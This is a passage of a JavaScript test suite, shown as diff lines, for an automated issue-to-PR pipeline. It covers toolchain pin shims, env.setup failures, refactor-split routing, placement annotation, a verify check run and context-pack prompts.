assert.deepEqual(ran2, ["npm test"], "base ref wins over the main checkout");
|
|
3573
|
+
assert.ok(w2.calls.some((c) => c.join(" ") === "git show origin/staging:.forge/test-map.json"));
|
|
3574
|
+
});
|
|
3575
|
+
|
|
3576
|
+
it("a map matching no changed file, or an invalid map, falls back to learned.test_commands", async () => {
|
|
3577
|
+
for (const text of [map([{ globs: ["**/*.go"], command: "go test ./...", cwd: "." }]), "{not json", JSON.stringify({ version: 9, entries: [] })]) {
|
|
3578
|
+
const w = world(); const ran = recorder(w); w.baseFiles = { [MAPF]: text };
|
|
3579
|
+
const dir = tmpDir("core-");
|
|
3580
|
+
assert.equal((await run(w, { dir, precheck: { commands: ["make lint"] } })).terminalReason, "merged");
|
|
3581
|
+
assert.deepEqual(ran, ["make lint"], text);
|
|
3582
|
+
assert.deepEqual(readLog(dir, 7).filter((e) => e.event === "PRECHECK_COMMANDS").map((e) => Object.keys(e).includes("source")), [false]);
|
|
3583
|
+
}
|
|
3584
|
+
});
|
|
3585
|
+
|
|
3586
|
+
it("neither file present: the same commands, events and prompts as without the feature", async () => {
|
|
3587
|
+
const w = world(); const ran = recorder(w); w.io.fs.exists = async () => false;
|
|
3588
|
+
const dir = tmpDir("core-");
|
|
3589
|
+
assert.equal((await run(w, { dir, precheck: { commands: ["true", "make lint"] } })).terminalReason, "merged");
|
|
3590
|
+
assert.deepEqual(ran, ["true", "make lint"]);
|
|
3591
|
+
assert.deepEqual(readLog(dir, 7).filter((e) => e.event === "PRECHECK_COMMANDS").map(({ round, results, ...rest }) => [round, results, Object.keys(rest).filter((k) => k === "source")]),
|
|
3592
|
+
[[0, [{ command: "true", rc: 0 }, { command: "make lint", rc: 0 }], []]]);
|
|
3593
|
+
const [plan, impl] = builders(w);
|
|
3594
|
+
assert.equal(plan[4].startsWith(builderPlanPrompt(7)), true); assert.equal(impl[4].startsWith(builderImplementPrompt("local")), true);
|
|
3595
|
+
for (const b of builders(w)) assert.doesNotMatch(b[4], /Repo facts/);
|
|
3596
|
+
assert.doesNotMatch(traj(w)[0], /test-map/);
|
|
3597
|
+
});
|
|
3598
|
+
|
|
3599
|
+
it("repo-facts.json present: the builder prompts cite its path, never its content", async () => {
|
|
3600
|
+
const w = world(); recorder(w);
|
|
3601
|
+
w.files[FACTSF] = JSON.stringify({ version: 1, toolchain: { pm: { name: "pnpm", version: "9.9.9-SECRET" } } });
|
|
3602
|
+
w.io.fs.exists = async (p) => p in w.files;
|
|
3603
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
3604
|
+
const [plan, impl] = builders(w);
|
|
3605
|
+
for (const b of [plan, impl]) { assert.ok(b[4].includes(`are cached in ${FACTSF}`)); assert.doesNotMatch(b[4], /9\.9\.9-SECRET/); }
|
|
3606
|
+
const w2 = world(); recorder(w2); w2.files["/repo/.forge/repo-facts.json"] = "{}"; w2.io.fs.exists = async (p) => p in w2.files;
|
|
3607
|
+
assert.equal((await run(w2)).terminalReason, "merged");
|
|
3608
|
+
assert.ok(builders(w2)[0][4].includes("are cached in /repo/.forge/repo-facts.json"));
|
|
3609
|
+
});
|
|
3610
|
+
|
|
3611
|
+
it("prompts are byte-identical without a facts path", () => {
|
|
3612
|
+
assert.equal(builderPlanPrompt(7, { toolchain: null, facts: null }), builderPlanPrompt(7));
|
|
3613
|
+
assert.equal(builderImplementPrompt("ci", { facts: null }), builderImplementPrompt("ci"));
|
|
3614
|
+
assert.match(builderImplementPrompt("local", { facts: "/x/.forge/repo-facts.json" }), /Repo facts \(toolchain pins, slow suites, layer rules, hotspots\) are cached in \/x\/\.forge\/repo-facts\.json/);
|
|
3615
|
+
});
|
|
3616
|
+
});
|
|
3617
|
+
|
|
3618
|
+
describe("toolchain pins and env.setup at lane setup (#4163)", () => {
|
|
3619
|
+
/** Real detection over the fake worktree files; shim writes are recorded, npx is the only launcher on the fake host. */
|
|
3620
|
+
const pinned = (w, files, { node = "v26.7.0" } = {}) => {
|
|
3621
|
+
for (const [f, t] of Object.entries(files)) w.files[`${WT}/${f}`] = typeof t === "string" ? t : JSON.stringify(t);
|
|
3622
|
+
w.shims = [];
|
|
3623
|
+
w.io.prepareToolchain = (a) => prepareToolchain({ ...a, basePath: "/host/bin", mkdirp: async () => {}, writeShim: async (p, c) => { w.shims.push([p, c]); },
|
|
3624
|
+
find: (n) => (n === "npx" ? "/host/bin/npx" : null), hostNode: () => node });
|
|
3625
|
+
return w;
|
|
3626
|
+
};
|
|
3627
|
+
const withSetup = (w, exit = 0) => { w.setups = []; w.io.runSetup = async (a) => { w.setups.push(a); w.seq.push("setup"); return { exit, stdout: "", stderr: exit ? "role app_user does not exist" : "" }; }; return w; };
|
|
3628
|
+
|
|
3629
|
+
it("R1: a pinned packageManager puts the shim dir first on PATH for every runner call and tells the builder", async () => {
|
|
3630
|
+
const w = pinned(world(), { "package.json": { packageManager: "pnpm@10.4.1" } });
|
|
3631
|
+
const dir = tmpDir("core-");
|
|
3632
|
+
const r = await run(w, { dir });
|
|
3633
|
+
assert.equal(r.terminalReason, "merged");
|
|
3634
|
+
const bin = `${WT}/.forge-lean/toolchain/bin`;
|
|
3635
|
+
assert.deepEqual(w.shims.map(([p]) => p).sort(), [`${bin}/pnpm`, `${bin}/pnpx`]);
|
|
3636
|
+
assert.match(w.shims.find(([p]) => p.endsWith("/pnpm"))[1], /exec '\/host\/bin\/npx' -y -p 'pnpm@10\.4\.1' pnpm "\$@"/);
|
|
3637
|
+
assert.ok(w.envs.length >= 3);
|
|
3638
|
+
for (const e of w.envs) { assert.equal(e?.PATH, `${bin}:/host/bin`); assert.equal(e?.COREPACK_ENABLE_DOWNLOAD_PROMPT, "0"); }
|
|
3639
|
+
for (const b of builders(w)) assert.match(b[4], /pinned this repo's toolchain on PATH \(pnpm@10\.4\.1 \(package\.json packageManager\)\)\. Use it as is: do not install global shims/);
|
|
3640
|
+
assert.match(traj(w)[0], /Toolchain pinned on the runner PATH: pnpm@10\.4\.1/);
|
|
3641
|
+
assert.ok(readLog(dir, 7).some((e) => e.event === "TOOLCHAIN_PINNED"));
|
|
3642
|
+
});
|
|
3643
|
+
|
|
3644
|
+
it("R1: the shim dir lives in the per-run tmp and merges with TMPDIR", async () => {
|
|
3645
|
+
const w = pinned(world(), { "package.json": { packageManager: "pnpm@10.4.1" } });
|
|
3646
|
+
w.io.runTmp = { prune: async () => {}, path: (id) => `/rt/${id}`, make: async (_i, id) => `/rt/${id}`, remove: async () => true };
|
|
3647
|
+
await run(w);
|
|
3648
|
+
const e = w.envs[0];
|
|
3649
|
+
assert.match(e.TMPDIR, /^\/rt\/7-/); assert.equal(e.CLAUDE_CODE_TMPDIR, e.TMPDIR);
|
|
3650
|
+
assert.equal(e.PATH, `${e.TMPDIR}/toolchain/bin:/host/bin`);
|
|
3651
|
+
});
|
|
3652
|
+
|
|
3653
|
+
it("R2: a node pin the host does not satisfy shows a clear warning in the trajectory", async () => {
|
|
3654
|
+
const w = pinned(world(), { ".nvmrc": "18.19.0\n" });
|
|
3655
|
+
const dir = tmpDir("core-");
|
|
3656
|
+
await run(w, { dir });
|
|
3657
|
+
assert.match(traj(w)[0], /\*\*Anomalies\*\*[\s\S]*host node v26\.7\.0 does not satisfy the \.nvmrc pin "18\.19\.0"/);
|
|
3658
|
+
assert.ok(readLog(dir, 7).some((e) => e.event === "TOOLCHAIN_WARNING"));
|
|
3659
|
+
assert.ok(w.envs.every((e) => e?.PATH === undefined), "a node pin alone changes no runner PATH");
|
|
3660
|
+
assert.match(traj(w)[0], /Toolchain pins detected \(no shim\): node 18\.19\.0 \(\.nvmrc\)/);
|
|
3661
|
+
assert.ok(readLog(dir, 7).some((e) => e.event === "TOOLCHAIN_PINNED"));
|
|
3662
|
+
for (const b of builders(w)) assert.match(b[4], /pinned this repo's toolchain on PATH \(node 18\.19\.0 \(\.nvmrc\)\)/);
|
|
3663
|
+
});
|
|
3664
|
+
|
|
3665
|
+
it("R3: env.setup runs exactly once, in the fresh worktree, before the builder, with the toolchain env", async () => {
|
|
3666
|
+
const w = withSetup(pinned(world(), { "package.json": { packageManager: "pnpm@10.4.1" } }));
|
|
3667
|
+
const r = await run(w, { envSetup: "bash scripts/reconcile-dev-db.sh" });
|
|
3668
|
+
assert.equal(r.terminalReason, "merged");
|
|
3669
|
+
assert.equal(w.setups.length, 1);
|
|
3670
|
+
assert.equal(w.setups[0].cwd, WT); assert.equal(w.setups[0].command, "bash scripts/reconcile-dev-db.sh");
|
|
3671
|
+
assert.equal(w.setups[0].env.PATH, `${WT}/.forge-lean/toolchain/bin:/host/bin`);
|
|
3672
|
+
assert.ok(w.seq.indexOf("setup") >= 0 && w.seq.indexOf("setup") < w.seq.indexOf("builder"), w.seq.join(","));
|
|
3673
|
+
assert.equal(w.seq.filter((x) => x === "setup").length, 1);
|
|
3674
|
+
});
|
|
3675
|
+
|
|
3676
|
+
it("R3: an env.setup failure ends needs-human as an environment error (env.setup_failed), never a build failure", async () => {
|
|
3677
|
+
const w = withSetup(world(), 3);
|
|
3678
|
+
const dir = tmpDir("core-");
|
|
3679
|
+
const r = await run(w, { dir, envSetup: "bash scripts/reconcile-dev-db.sh" });
|
|
3680
|
+
assert.equal(r.terminalReason, "needs-human");
|
|
3681
|
+
assert.equal(r.code, OUTCOME_CODES.ENV_SETUP_FAILED);
|
|
3682
|
+
assert.equal(OUTCOME_CODES.ENV_SETUP_FAILED, "env.setup_failed");
|
|
3683
|
+
assert.equal(builders(w).length, 0, "the builder never runs");
|
|
3684
|
+
assert.equal(w.prs.length, 0);
|
|
3685
|
+
const nh = w.comments.find((c) => c.includes("FORGE:NEEDS_HUMAN"));
|
|
3686
|
+
assert.match(nh, /Environment error \(not a build failure\)/); assert.match(nh, /role app_user does not exist/);
|
|
3687
|
+
assert.equal(readLog(dir, 7).find((e) => e.event === "RUN_TERMINAL")?.code, "env.setup_failed");
|
|
3688
|
+
assert.match(readFileSync(new URL("../../docs/OUTCOME-CODES.md", import.meta.url), "utf8"), /`env\.setup_failed`/);
|
|
3689
|
+
});
|
|
3690
|
+
|
|
3691
|
+
it("R4: a repo without pins and without env config changes nothing: env, prompts, events, no setup call", async () => {
|
|
3692
|
+
const base = world();
|
|
3693
|
+
await run(base);
|
|
3694
|
+
const w = withSetup(pinned(world(), {}));
|
|
3695
|
+
const dir = tmpDir("core-");
|
|
3696
|
+
await run(w, { dir });
|
|
3697
|
+
assert.deepEqual(w.envs, base.envs);
|
|
3698
|
+
assert.ok(w.envs.every((e) => e?.PATH === undefined && e?.COREPACK_ENABLE_DOWNLOAD_PROMPT === undefined));
|
|
3699
|
+
assert.deepEqual(builders(w).map((b) => b[4]), builders(base).map((b) => b[4]));
|
|
3700
|
+
assert.equal(builderPlanPrompt(7), builderPlanPrompt(7, { toolchain: null }));
|
|
3701
|
+
assert.equal(builderImplementPrompt(), builderImplementPrompt("local", {}));
|
|
3702
|
+
assert.doesNotMatch(builderPlanPrompt(7), /pinned/);
|
|
3703
|
+
assert.deepEqual(w.shims, []); assert.deepEqual(w.setups, []);
|
|
3704
|
+
assert.ok(!readLog(dir, 7).some((e) => /^TOOLCHAIN|^ENV_SETUP/.test(e.event)));
|
|
3705
|
+
assert.doesNotMatch(traj(w)[0], /Toolchain|env\.setup/);
|
|
3706
|
+
});
|
|
3707
|
+
|
|
3708
|
+
it("readEnvConfig reads forge.yaml env.toolchain / env.setup; absent gives {}", () => {
|
|
3709
|
+
const d = tmpDir("envcfg-");
|
|
3710
|
+
assert.deepEqual(readEnvConfig(d), {});
|
|
3711
|
+
writeFileSync(join(d, "forge.yaml"), 'env:\n toolchain: "pnpm@10.4.1"\n setup: "bash scripts/db.sh"\n');
|
|
3712
|
+
assert.deepEqual(readEnvConfig(d), { toolchainOverride: "pnpm@10.4.1", envSetup: "bash scripts/db.sh" });
|
|
3713
|
+
writeFileSync(join(d, "forge.yaml"), "branches:\n staging: staging\n");
|
|
3714
|
+
assert.deepEqual(readEnvConfig(d), {});
|
|
3715
|
+
});
|
|
3716
|
+
});
|
|
3717
|
+
|
|
3718
|
+
describe("refactor:split lane routing (forge#4211)", () => {
|
|
3719
|
+
const SPLIT_ISSUE = { number: 7, title: "split pkg/big.py", body: "`pkg/big.py` is big.\n\n<!-- FORGE:MAINT:refactor:split:pkg/big.py -->", state: "OPEN", comments: [], labels: [{ name: "maintenance" }, { name: "refactor:split" }] };
|
|
3720
|
+
/** world() plus a refactor:split-labelled issue, a recorded `gh issue create` and recorded grouper calls. */
|
|
3721
|
+
function splitWorld(o = {}) {
|
|
3722
|
+
const w = world(o);
|
|
3723
|
+
const gh = w.io.gh, runner = w.io.runner;
|
|
3724
|
+
w.creates = []; w.grouper = []; w.splitCtx = [];
|
|
3725
|
+
w.io.gh = async (a) => {
|
|
3726
|
+
if (a[0] === "issue" && a[1] === "view" && a.some((x) => String(x).startsWith("number,title,body,state,comments"))) return JSON.stringify(o.issue ?? SPLIT_ISSUE);
|
|
3727
|
+
if (a[0] === "issue" && a[1] === "create") { w.creates.push(a); return "https://github.com/o/r/issues/901\n"; }
|
|
3728
|
+
return gh(a);
|
|
3729
|
+
};
|
|
3730
|
+
w.io.runner = async (c) => { if (c.role === "grouper") w.grouper.push(c); return runner(c); };
|
|
3731
|
+
return w;
|
|
3732
|
+
}
|
|
3733
|
+
const splitOk = (extra = {}) => ({ ok: true, target: "pkg/big.py", testCmd: "pytest", package: "pkg.big_parts", packageName: "big_parts", modules: { consts: ["A"], helpers: ["f", "g"] }, rest: null, verify: { ok: true, failures: [] }, grouped: true, lines: 120, ...extra });
|
|
3734
|
+
const mod = (w, result) => ({ ...refactorMod, runSplitStep: async (ctx) => { w.splitCtx.push(ctx); if (result.ok) await ctx.callGrouper("INDEX-ONLY PROMPT", { cwd: "/tmp/empty" }); return result; } });
|
|
3735
|
+
|
|
3736
|
+
it("a refactor:split issue never runs the builder or the reviewer: one tool-less grouping call, PR, merge", async () => {
|
|
3737
|
+
const w = splitWorld();
|
|
3738
|
+
const r = await run(w, { refactorModule: mod(w, splitOk()), precheck: { commands: ["pytest -q"] } });
|
|
3739
|
+
assert.equal(r.terminalReason, "merged");
|
|
3740
|
+
assert.equal(builders(w).length, 0);
|
|
3741
|
+
assert.equal(reviewers(w).length, 0);
|
|
3742
|
+
assert.equal(w.grouper.length, 1);
|
|
3743
|
+
assert.equal(w.grouper[0].noTools, true);
|
|
3744
|
+
assert.equal(w.grouper[0].cwd, "/tmp/empty");
|
|
3745
|
+
assert.equal(w.grouper[0].prompt, "INDEX-ONLY PROMPT");
|
|
3746
|
+
assert.deepEqual(w.splitCtx[0].precheckCommands, ["pytest -q"]);
|
|
3747
|
+
assert.match(w.splitCtx[0].issueBody, /FORGE:MAINT:refactor:split:pkg\/big.py/);
|
|
3748
|
+
const markers = w.comments.map(markerOf);
|
|
3749
|
+
assert.ok(markers.includes("FORGE:SPLIT"));
|
|
3750
|
+
assert.ok(!markers.includes("FORGE:CONTRACT") && !markers.includes("FORGE:REVIEW"));
|
|
3751
|
+
const body = w.prs[0][w.prs[0].indexOf("--body") + 1];
|
|
3752
|
+
assert.match(body, /## Split\n`pkg\/big.py` → package `pkg.big_parts`, 2 module\(s\)/);
|
|
3753
|
+
assert.match(body, /Closes #7$/);
|
|
3754
|
+
assert.equal(w.merges.length, 1);
|
|
3755
|
+
assert.equal(w.creates.length, 0, "no chain issue when everything moved");
|
|
3756
|
+
assert.ok(traj(w)[0].includes("| Review | skipped (refactor-verify passed: location-only change) |"));
|
|
3757
|
+
});
|
|
3758
|
+
|
|
3759
|
+
it("an unsupported language ends needs-human split.unsupported with the reason; nothing pushed, no PR", async () => {
|
|
3760
|
+
const w = splitWorld({ changed: [] }); // the step left the worktree at the base: nothing to checkpoint
|
|
3761
|
+
const r = await run(w, { refactorModule: mod(w, { ok: false, code: OUTCOME_CODES.SPLIT_UNSUPPORTED, reason: "no codemod tool for ts: `src/big.ts`" }) });
|
|
3762
|
+
assert.equal(r.terminalReason, "needs-human");
|
|
3763
|
+
assert.equal(r.code, "split.unsupported");
|
|
3764
|
+
assert.equal(w.grouper.length, 0);
|
|
3765
|
+
assert.equal(builders(w).length, 0);
|
|
3766
|
+
assert.equal(w.prs.length, 0);
|
|
3767
|
+
assert.equal(w.pushes, 0);
|
|
3768
|
+
assert.ok(w.comments.some((c) => c.includes("FORGE:NEEDS_HUMAN") && c.includes("no codemod tool for ts")));
|
|
3769
|
+
});
|
|
3770
|
+
|
|
3771
|
+
it("a verify failure ends needs-human split.verify_failed with no PR", async () => {
|
|
3772
|
+
const w = splitWorld();
|
|
3773
|
+
const r = await run(w, { refactorModule: mod(w, { ok: false, code: OUTCOME_CODES.SPLIT_VERIFY_FAILED, reason: "refactor-verify failed; the move was reset:\n- logic-diff pkg/big.py:3 `x = 2`" }) });
|
|
3774
|
+
assert.equal(r.code, "split.verify_failed");
|
|
3775
|
+
assert.equal(w.prs.length, 0);
|
|
3776
|
+
assert.equal(w.merges.length, 0);
|
|
3777
|
+
});
|
|
3778
|
+
|
|
3779
|
+
it("a large split files the rest as one chained refactor:split issue after the merge, carrying the plan", async () => {
|
|
3780
|
+
const w = splitWorld();
|
|
3781
|
+
const r = await run(w, { refactorModule: mod(w, splitOk({ rest: { models: ["Item_00"] } })) });
|
|
3782
|
+
assert.equal(r.terminalReason, "merged");
|
|
3783
|
+
assert.equal(w.creates.length, 1);
|
|
3784
|
+
const a = w.creates[0];
|
|
3785
|
+
assert.equal(a[a.indexOf("--title") + 1], "split pkg/big.py (continued)");
|
|
3786
|
+
assert.deepEqual(a.filter((x, i) => a[i - 1] === "--label"), ["maintenance", "refactor:split"]);
|
|
3787
|
+
assert.deepEqual(refactorMod.parseSplitPlan(a[a.indexOf("--body") + 1]), { target: "pkg/big.py", package: "big_parts", plan: { models: ["Item_00"] } });
|
|
3788
|
+
assert.ok(w.seq.indexOf("merge") < w.seq.lastIndexOf("label:merged"));
|
|
3789
|
+
const body = w.prs[0][w.prs[0].indexOf("--body") + 1];
|
|
3790
|
+
assert.match(body, /## Remaining work\n1 module\(s\)/);
|
|
3791
|
+
});
|
|
3792
|
+
|
|
3793
|
+
it("a split whose base-sync conflicts ends needs-human base.conflict without any builder call", async () => {
|
|
3794
|
+
const w = splitWorld({ prView: [{ mergeable: "CONFLICTING", mergeStateStatus: "DIRTY" }, { mergeable: "MERGEABLE", mergeStateStatus: "CLEAN" }], mergeResults: ["conflict"] });
|
|
3795
|
+
const r = await run(w, { refactorModule: mod(w, splitOk()) });
|
|
3796
|
+
assert.equal(r.terminalReason, "needs-human");
|
|
3797
|
+
assert.equal(r.code, "base.conflict");
|
|
3798
|
+
assert.equal(builders(w).length, 0);
|
|
3799
|
+
assert.equal(w.merges.length, 0);
|
|
3800
|
+
});
|
|
3801
|
+
|
|
3802
|
+
it("an issue without the refactor:split label never reaches the split step", async () => {
|
|
3803
|
+
const w = world();
|
|
3804
|
+
const calls = [];
|
|
3805
|
+
const r = await run(w, { refactorModule: { ...refactorMod, runSplitStep: async () => { calls.push(1); return splitOk(); } } });
|
|
3806
|
+
assert.equal(r.terminalReason, "merged");
|
|
3807
|
+
assert.equal(calls.length, 0);
|
|
3808
|
+
assert.ok(builders(w).length > 0);
|
|
3809
|
+
});
|
|
3810
|
+
});
|
|
3811
|
+
|
|
3812
|
+
describe("hybrid placement in the lane's FORGE annotation (#4256)", () => {
|
|
3813
|
+
const leased = (w, prior = null) => { w.leaseWrites = []; w.io.projector = { readState: async () => prior, writeState: async (_i, st) => { w.leaseWrites.push(st); } }; return w; };
|
|
3814
|
+
const quiet = async (fn) => { const l = console.log; console.log = () => {}; try { return await fn(); } finally { console.log = l; } };
|
|
3815
|
+
|
|
3816
|
+
it("o.placement is written into FORGE:STATE on every lease write and into the trajectory decisions", async () => {
|
|
3817
|
+
const w = leased(world());
|
|
3818
|
+
const placement = { where: "remote", reason: "heavy validation: tsc", mode: "hybrid" };
|
|
3819
|
+
const r = await run(w, { placement });
|
|
3820
|
+
assert.equal(r.terminalReason, "merged");
|
|
3821
|
+
assert.ok(w.leaseWrites.length >= 2);
|
|
3822
|
+
for (const st of w.leaseWrites) assert.deepEqual(st.placement, placement);
|
|
3823
|
+
assert.match(traj(w).join("\n"), /Placement: remote \(heavy validation: tsc\)/);
|
|
3824
|
+
});
|
|
3825
|
+
|
|
3826
|
+
it("without o.placement the FORGE:STATE has no placement key", async () => {
|
|
3827
|
+
const w = leased(world());
|
|
3828
|
+
await run(w);
|
|
3829
|
+
assert.ok(w.leaseWrites.length >= 1);
|
|
3830
|
+
for (const st of w.leaseWrites) assert.equal("placement" in st, false);
|
|
3831
|
+
});
|
|
3832
|
+
|
|
3833
|
+
it("run-issue forwards --placement/--placement-reason to runCore; an invalid value is ignored", async () => {
|
|
3834
|
+
const deps = () => ({ dir: tmpDir("core-cli-"), emitTelemetry: async () => {}, leanIo: {}, io: { gh: async () => "o/r\n" },
|
|
3835
|
+
leanModule: { runCore: async (o) => ({ terminalReason: "merged", seen: o }) }, runIssue: async () => ({ terminalReason: "merged" }) });
|
|
3836
|
+
const r = await quiet(() => runFromCli(["7", "--repo", "o/r", "--placement", "local", "--placement-reason", "docs-only lane"], deps()));
|
|
3837
|
+
assert.equal(r.seen.placement.where, "local");
|
|
3838
|
+
assert.equal(r.seen.placement.reason, "docs-only lane");
|
|
3839
|
+
const r2 = await quiet(() => runFromCli(["7", "--repo", "o/r", "--placement", "moon"], deps()));
|
|
3840
|
+
assert.equal(r2.seen.placement, undefined);
|
|
3841
|
+
const r3 = await quiet(() => runFromCli(["7", "--repo", "o/r"], deps()));
|
|
3842
|
+
assert.equal(r3.seen.placement, undefined);
|
|
3843
|
+
});
|
|
3844
|
+
});
|
|
3845
|
+
|
|
3846
|
+
describe("verify.check_run: forgedock/verify check run (#4270)", () => {
|
|
3847
|
+
const withChecks = (o = {}, fail = null) => {
|
|
3848
|
+
const w = world(o);
|
|
3849
|
+
w.checkRuns = [];
|
|
3850
|
+
w.io.createCheckRun = async (c) => { w.checkRuns.push(c); if (fail) throw new Error(fail); return { id: w.checkRuns.length, html_url: `https://github.com/o/r/runs/${w.checkRuns.length}` }; };
|
|
3851
|
+
return w;
|
|
3852
|
+
};
|
|
3853
|
+
const on = { verify: { mode: "local", checkRun: true } };
|
|
3854
|
+
const strip = (evs) => evs.map(({ ts, ...e }) => e);
|
|
3855
|
+
|
|
3856
|
+
it("posts one success check run on the pushed PR head with per-gate typed output and a VERIFY event", async () => {
|
|
3857
|
+
const dir = tmpDir("vcr-");
|
|
3858
|
+
const w = withChecks();
|
|
3859
|
+
const r = await run(w, { dir, ...on });
|
|
3860
|
+
assert.equal(r.terminalReason, "merged");
|
|
3861
|
+
assert.equal(w.checkRuns.length, 1);
|
|
3862
|
+
const c = w.checkRuns[0];
|
|
3863
|
+
assert.equal(c.name, "forgedock/verify");
|
|
3864
|
+
assert.equal(c.sha, w.head);
|
|
3865
|
+
assert.equal(c.conclusion, "success");
|
|
3866
|
+
const out = JSON.parse(/```json\n([\s\S]*)\n```/.exec(c.text)[1]);
|
|
3867
|
+
assert.deepEqual(out.gates.map((g) => g.id), ["precheck.commands", "structure.edges", "docs.freshness", "conformance.scope", "conformance.validate", "conformance.requirements", "maintenance.hotspot_growth", "conformance.amendments"]);
|
|
3868
|
+
assert.ok(out.gates.every((g) => g.ok === true));
|
|
3869
|
+
assert.deepEqual(out.gates.find((g) => g.id === "conformance.validate").evidence, [{ id: "V1", command: "node --test test/foo.test.js", exit: 0 }]);
|
|
3870
|
+
const v = readLog(dir, 7).filter((e) => e.event === "VERIFY");
|
|
3871
|
+
assert.equal(v.length, 1);
|
|
3872
|
+
assert.equal(v[0].head, w.head); assert.equal(v[0].conclusion, "success"); assert.equal(v[0].posted, true);
|
|
3873
|
+
assert.ok(readLog(dir, 7).findIndex((e) => e.event === "PR_OPENED") < readLog(dir, 7).findIndex((e) => e.event === "VERIFY"), "after the PR head is pushed");
|
|
3874
|
+
});
|
|
3875
|
+
|
|
3876
|
+
it("reports failure iff an existing gate failed (shadow scope creep), without changing the lane outcome", async () => {
|
|
3877
|
+
const w = withChecks({ changed: ["src/foo.js", "test/foo.test.js", "src/extra.js"] });
|
|
3878
|
+
const base = world({ changed: ["src/foo.js", "test/foo.test.js", "src/extra.js"] });
|
|
3879
|
+
const r = await run(w, { conformance: "shadow", ...on });
|
|
3880
|
+
assert.equal(r.terminalReason, (await run(base, { conformance: "shadow" })).terminalReason);
|
|
3881
|
+
assert.equal(w.checkRuns.length, 1);
|
|
3882
|
+
assert.equal(w.checkRuns[0].conclusion, "failure");
|
|
3883
|
+
const out = JSON.parse(/```json\n([\s\S]*)\n```/.exec(w.checkRuns[0].text)[1]);
|
|
3884
|
+
const scope = out.gates.find((g) => g.id === "conformance.scope");
|
|
3885
|
+
assert.equal(scope.ok, false); assert.match(scope.evidence[0], /src\/extra\.js/);
|
|
3886
|
+
assert.ok(out.gates.filter((g) => g.id !== "conformance.scope").every((g) => g.ok));
|
|
3887
|
+
});
|
|
3888
|
+
|
|
3889
|
+
it("posts once per pushed head: a base-sync that moves the head gets its own check run", async () => {
|
|
3890
|
+
const w = withChecks({ prView: [{ mergeable: "CONFLICTING", mergeStateStatus: "DIRTY" }, { mergeable: "MERGEABLE", mergeStateStatus: "CLEAN" }], mergeResults: ["clean"] });
|
|
3891
|
+
assert.equal((await run(w, on)).terminalReason, "merged");
|
|
3892
|
+
assert.equal(w.checkRuns.length, 2);
|
|
3893
|
+
assert.match(w.checkRuns[0].sha, /^bbbb/, "the reviewed PR head");
|
|
3894
|
+
assert.match(w.checkRuns[1].sha, /^cccc/, "the base-synced head");
|
|
3895
|
+
assert.equal(w.checkRuns[1].sha, w.head);
|
|
3896
|
+
});
|
|
3897
|
+
|
|
3898
|
+
it("with the flag unset no Checks API call is made and the run log is identical (golden comparison)", async () => {
|
|
3899
|
+
const runs = [];
|
|
3900
|
+
for (const extra of [{}, { verify: { mode: "local" } }, { verify: { mode: "local", checkRun: false } }]) {
|
|
3901
|
+
const dir = tmpDir("vcr-off-");
|
|
3902
|
+
const w = withChecks();
|
|
3903
|
+
const r = await run(w, { dir, ...extra });
|
|
3904
|
+
assert.equal(w.checkRuns.length, 0);
|
|
3905
|
+
runs.push({ reason: r.terminalReason, log: strip(readLog(dir, 7)), waits: w.calls.length });
|
|
3906
|
+
}
|
|
3907
|
+
assert.ok(!runs[0].log.some((e) => e.event === "VERIFY"));
|
|
3908
|
+
assert.deepEqual(runs[1], runs[0]); assert.deepEqual(runs[2], runs[0]);
|
|
3909
|
+
// the same lane without the seam at all: the golden reference
|
|
3910
|
+
const dir = tmpDir("vcr-ref-");
|
|
3911
|
+
const ref = world();
|
|
3912
|
+
const rr = await run(ref, { dir });
|
|
3913
|
+
assert.deepEqual({ reason: rr.terminalReason, log: strip(readLog(dir, 7)) }, { reason: runs[0].reason, log: runs[0].log });
|
|
3914
|
+
});
|
|
3915
|
+
|
|
3916
|
+
it("merge policy all: the lane's own check is ignored by the CI wait only when the flag is on", async () => {
|
|
3917
|
+
const seen = [];
|
|
3918
|
+
for (const extra of [{}, on]) {
|
|
3919
|
+
const w = withChecks();
|
|
3920
|
+
w.io.waitCiGreen = async (...a) => { seen.push(a); return { rc: 0, text: `CI_GATE_HEAD: ${w.head}` }; };
|
|
3921
|
+
assert.equal((await run(w, { mergeWait: "all", ...extra })).terminalReason, "merged");
|
|
3922
|
+
}
|
|
3923
|
+
assert.equal(seen[0].length, 3, "flag off: the 3-argument call is unchanged");
|
|
3924
|
+
assert.deepEqual(seen.at(-1)[3], { ignore: ["forgedock/verify"] });
|
|
3925
|
+
});
|
|
3926
|
+
|
|
3927
|
+
it("a Checks API failure never fails the lane: recorded as an anomaly and a VERIFY event with posted false", async () => {
|
|
3928
|
+
const dir = tmpDir("vcr-fail-");
|
|
3929
|
+
const w = withChecks({}, "HTTP 403: Resource not accessible by integration");
|
|
3930
|
+
const r = await run(w, { dir, ...on });
|
|
3931
|
+
assert.equal(r.terminalReason, "merged");
|
|
3932
|
+
assert.equal(w.checkRuns.length, 1);
|
|
3933
|
+
const v = readLog(dir, 7).find((e) => e.event === "VERIFY");
|
|
3934
|
+
assert.equal(v.posted, false); assert.match(v.error, /403/);
|
|
3935
|
+
assert.match(traj(w).at(-1), /forgedock\/verify check run not posted[\s\S]*403/);
|
|
3936
|
+
// a lane without the seam at all is the same anomaly, never a crash
|
|
3937
|
+
const w2 = world();
|
|
3938
|
+
assert.equal((await run(w2, on)).terminalReason, "merged");
|
|
3939
|
+
assert.match(traj(w2).at(-1), /forgedock\/verify check run not posted.*no Checks API seam/);
|
|
3940
|
+
});
|
|
3941
|
+
});
|
|
3942
|
+
|
|
3943
|
+
describe("context pack modes (forge#4275)", () => {
|
|
3944
|
+
const FACTS = { issue: 7, links: [{ number: 3, rel: "parent", kind: "issue", title: "Epic", state: "OPEN", code: null, result: null, body: "Parent says: the zebra protocol must be kept." }], attempts: [], ledger: [], facts: [".forge/test-map.json"], errors: [] };
|
|
3945
|
+
const withPack = (o = {}) => { const w = world(o); w.packCalls = []; w.io.contextFacts = async (a) => { w.packCalls.push(a); return FACTS; }; return w; };
|
|
3946
|
+
const ctx = (w) => w.comments.filter((c) => c.startsWith("<!-- FORGE:CONTEXT -->"));
|
|
3947
|
+
|
|
3948
|
+
it("on: the pack goes into the plan prompt as hints, FORGE:CONTEXT and CONTEXT_PACK are recorded", async () => {
|
|
3949
|
+
const w = withPack(), dir = tmpDir("core-");
|
|
3950
|
+
const r = await run(w, { dir, contextPack: { mode: "on" } });
|
|
3951
|
+
assert.equal(r.terminalReason, "merged");
|
|
3952
|
+
const plan = builders(w)[0][4];
|
|
3953
|
+
